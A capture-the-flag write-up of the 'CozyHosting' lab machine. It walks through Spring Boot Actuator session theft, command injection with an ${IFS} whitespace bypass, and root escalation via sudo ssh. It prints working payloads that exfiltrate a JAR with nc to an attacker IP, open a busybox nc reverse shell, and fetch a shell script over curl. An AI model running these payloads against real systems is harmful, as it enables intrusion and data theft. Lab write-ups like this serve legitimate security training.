CozyHosting is an easy-difficulty Linux machine that features a Spring Boot application. The application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery of a user’s session cookie, leading to authenticated access to the main dashboard. The application is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote machine. Enumerating the application’s JAR file, hardcoded credentials are discovered and used to log into the local database. The database contains a hashed password, which once cracked is used to log into the machine as the user josh. The user is allowed to run ssh as root, which is leveraged to fully escalate privileges.
Looking at the web we start immediately web enumeration but we didn’t find anything useful. The login page didn’t seem to be vulnerable to any form of injection.
Checking the pages we come across the error page.
Looking online we trying to find the tech stack of the web app and we hits for Spring Boot.
So we start fuzzing with the correct wordlist and get interesting hits.
We see the interesting endpoint /executessh which seems that is the attack path we should take for gaining access to the system.
1
host=127.0.0.1&username=kali
Checking in request we see that it has two parameters. Let’s try to break out of the command and achieve command injection.
1
2
3
4
5
6
7
8
9
host=127.0.0.1&username=lol'
HTTP/1.1 302
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jan 2026 23:19:23 GMT
Content-Length: 0
Location: http://cozyhosting.htb/admin?error=/bin/bash: -c: line 1: unexpected EOF while looking for matching `''/bin/bash: -c: line 2: syntax error: unexpected end of file
Connection: keep-alive
...
We can confirm this is the way. Playing a bit with how the command is structured and when to put quotes can be tricky.
After playing a bit we see that we have a restriction in whitespaces as the username cannot contain any. We overcome this with a nice trick found on this article!
Tip
We use the ${IFS}.
Basically the default value of IFS is space, tab, newline. All of these characters are whitespace. If you need a single space, you can use ${IFS%??}.
We achieved command injection to this point. And we should work into spawning a reverse shell.
Before that we went a bit and enumerated few things and exhilarated the complete JAR of the application.
Info
JAR file is a compressed archive format that contains multiple Java-related files, such as class files, resources, and metadata. It allows developers to bundle Java applications, libraries, or modules into a single file for easier distribution and deployment.
1
2
3
4
5
6
7
8
└─$ nc -lvnp 1234listening on [any]1234 ...
connect to [10.10.14.91] from (UNKNOWN)[10.129.229.88]60562total 58856drwxr-xr-x 2 root root 4096 Aug 142023 .
drwxr-xr-x 19 root root 4096 Aug 142023 ..
-rw-r--r-- 1 root root 60259688 Aug 112023 cloudhosting-0.0.1.jar
^C
Payload we run:host=127.0.0.1&username=panas''%3b${IFS%25%3f%3f}cat${IFS%25%3f%3f}cloudhosting-0.0.1.jar|base64|nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234;#''#
So we know we have Postgresql database. Let’s try to achieve a reverse shell at this point.
This was tricky since the normal netcat didn’t work as it was too old apparently and didn’t like the -c or -e flags. So we used another payload based on busybox that worked!
Payload:host=127.0.0.1&username=panas''%3b${IFS%25%3f%3f}busybox${IFS%25%3f%3f}nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234${IFS%25%3f%3f}-e${IFS%25%3f%3f}/bin/bash;#''#
After achieving the reverse shell we upgrade it a bit with python3 -c 'import pty;pty.spawn("/bin/bash");' and we enumerate the database.
1
2
kanderson |$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin |$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm| Admin
With the cracked password we ssh into the victim as josh, the username we got from our enumeration before.
Tip
Another easier payload for the command injection we found out was test;curl${IFS}http://KALI-IP:1234;. Basically we could use curl to reach our attacker machine. We can then download (or upload!) a rev shell script and execute immediately.
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
Reading through the SSH documentation and checking GTFOBins we see that running the command with the -o flag allows us to specify the PermitLocalCommand=yes option. This option is used to allow the execution of local commands on the client machine after a successful SSH connection is established. The
LocalCommand=/bin/bash option specifies the local command that should be executed on the machine after a successful SSH connection. In our case, we set it to execute /bin/bash , which means that after connecting to the machine, a bash shell will be opened, and we will have a session as root .